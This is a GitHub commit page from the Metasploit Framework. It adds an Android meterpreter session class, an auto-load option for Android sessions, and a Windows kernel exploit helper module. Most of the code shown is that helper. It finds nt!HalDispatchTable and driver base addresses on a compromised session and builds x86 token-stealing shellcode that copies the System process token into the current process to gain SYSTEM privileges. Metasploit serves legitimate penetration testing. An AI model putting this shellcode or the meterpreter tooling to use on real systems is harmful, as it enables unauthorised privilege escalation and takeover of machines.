Skip to content

Commit 45490e7

Browse files
committed
Merge branch 'master' of github.com:rapid7/metasploit-framework
2 parents 34a4247 + f91116a commit 45490e7

File tree

40 files changed

+2381
-588
lines changed

40 files changed

+2381
-588
lines changed

data/android/apk/AndroidManifest.xml

140 Bytes
Binary file not shown.

data/android/apk/resources.arsc

4 Bytes
Binary file not shown.

data/android/meterpreter.jar

3.26 KB
Binary file not shown.

data/android/metstage.jar

0 Bytes
Binary file not shown.

data/android/shell.jar

0 Bytes
Binary file not shown.
37.9 KB
Binary file not shown.
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/base/sessions/meterpreter'
4+
require 'msf/base/sessions/meterpreter_java'
5+
require 'msf/base/sessions/meterpreter_options'
6+
7+
module Msf
8+
module Sessions
9+
10+
###
11+
#
12+
# This class creates a platform-specific meterpreter session type
13+
#
14+
###
15+
class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
16+
17+
def initialize(rstream, opts={})
18+
super
19+
self.platform = 'java/android'
20+
end
21+
22+
def load_android
23+
original = console.disable_output
24+
console.disable_output = true
25+
console.run_single('load android')
26+
console.disable_output = original
27+
end
28+
29+
end
30+
31+
end
32+
end
33+

lib/msf/base/sessions/meterpreter_options.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,12 @@ def on_session(session)
5959
end
6060
end
6161

62+
if session.platform =~ /android/i
63+
if datastore['AutoLoadAndroid']
64+
session.load_android
65+
end
66+
end
67+
6268
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
6369
if (datastore[key].empty? == false)
6470
args = Shellwords.shellwords( datastore[key] )

lib/msf/core/auxiliary/report.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -215,7 +215,7 @@ def store_loot(ltype, ctype, host, data, filename=nil, info=nil, service=nil)
215215
end
216216

217217
case ctype
218-
when "text/plain"
218+
when /^text\/[\w\.]+$/
219219
ext = "txt"
220220
end
221221
# This method is available even if there is no database, don't bother checking
Lines changed: 164 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,164 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf
4+
module Exploit::Local::WindowsKernel
5+
include Msf::PostMixin
6+
include Msf::Post::Windows::Error
7+
8+
#
9+
# Find the address of nt!HalDispatchTable.
10+
#
11+
# @return [Integer] The address of nt!HalDispatchTable.
12+
# @return [nil] If the address could not be found.
13+
#
14+
def find_haldispatchtable
15+
kernel_address, kernel_name = find_sys_base(nil)
16+
if kernel_address.nil? || kernel_name.nil?
17+
print_error("Failed to find the address of the Windows kernel")
18+
return nil
19+
end
20+
vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}")
21+
22+
h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1)
23+
if h_kernel['return'] == 0
24+
print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})")
25+
return nil
26+
end
27+
h_kernel = h_kernel['return']
28+
29+
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable')
30+
if hal_dispatch_table['return'] == 0
31+
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})")
32+
return nil
33+
end
34+
hal_dispatch_table = hal_dispatch_table['return']
35+
36+
hal_dispatch_table -= h_kernel
37+
hal_dispatch_table += kernel_address
38+
vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
39+
hal_dispatch_table
40+
end
41+
42+
#
43+
# Find the load address for a device driver on the session.
44+
#
45+
# @param drvname [String, nil] The name of the module to find, otherwise the kernel
46+
# if this value is nil.
47+
# @return [Array] An array containing the base address and the located drivers name.
48+
# @return [nil] If the name specified could not be found.
49+
#
50+
def find_sys_base(drvname)
51+
if session.railgun.util.pointer_size == 8
52+
ptr = 'Q<'
53+
else
54+
ptr = 'V'
55+
end
56+
57+
results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size)
58+
unless results['return']
59+
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
60+
return nil
61+
end
62+
results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size)
63+
unless results['return']
64+
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
65+
return nil
66+
end
67+
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*")
68+
69+
addresses.each do |address|
70+
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
71+
if results['return'] == 0
72+
print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
73+
return nil
74+
end
75+
current_drvname = results['lpBaseName'][0,results['return']]
76+
if drvname.nil?
77+
if current_drvname.downcase.include?('krnl')
78+
return address, current_drvname
79+
end
80+
elsif drvname == current_drvname
81+
return address, current_drvname
82+
end
83+
end
84+
end
85+
86+
#
87+
# Open a device on a meterpreter session with a call to CreateFileA and return
88+
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
89+
# are specified as nil.
90+
#
91+
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
92+
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
93+
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
94+
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
95+
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
96+
# @return [Integer] The device handle.
97+
# @return [nil] If the call to CreateFileA failed.
98+
#
99+
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
100+
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
101+
if handle['return'] == INVALID_HANDLE_VALUE
102+
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})")
103+
return nil
104+
end
105+
handle['return']
106+
end
107+
108+
#
109+
# Generate token stealing shellcode suitable for use when overwriting the
110+
# HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx
111+
# registers.
112+
#
113+
# @param target [Hash] The target information containing the offsets to _KPROCESS,
114+
# _TOKEN, _UPID and _APLINKS.
115+
# @param backup_token [Integer] An optional location to write a copy of the
116+
# original token to so it can be restored later.
117+
# @param arch [String] The architecture to return shellcode for. If this is nil,
118+
# the arch will be guessed from the target and then module information.
119+
# @return [String] The token stealing shellcode.
120+
# @raise [ArgumentError] If the arch is incompatible.
121+
#
122+
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
123+
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
124+
if arch.nil? && module_info['Arch']
125+
arch = module_info['Arch']
126+
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
127+
end
128+
if arch.nil?
129+
print_error('Can not determine the target architecture')
130+
fail ArgumentError, 'Invalid arch'
131+
end
132+
133+
tokenstealing = ''
134+
case arch
135+
when ARCH_X86
136+
tokenstealing << "\x52" # push edx # Save edx on the stack
137+
tokenstealing << "\x53" # push ebx # Save ebx on the stack
138+
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
139+
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
140+
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
141+
tokenstealing << "\x8b\xc8" # mov ecx, eax
142+
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
143+
unless backup_token.nil?
144+
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
145+
end
146+
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
147+
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
148+
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
149+
tokenstealing << "\x75\xe8" # jne 0000101e ======================
150+
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
151+
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
152+
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
153+
tokenstealing << "\x5b" # pop ebx # Restores ebx
154+
tokenstealing << "\x5a" # pop edx # Restores edx
155+
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
156+
else
157+
# if this is reached the issue most likely exists in the exploit module
158+
print_error('Unsupported arch for token stealing shellcode')
159+
fail ArgumentError, 'Invalid arch'
160+
end
161+
tokenstealing
162+
end
163+
end
164+
end

0 commit comments

Comments
 (0)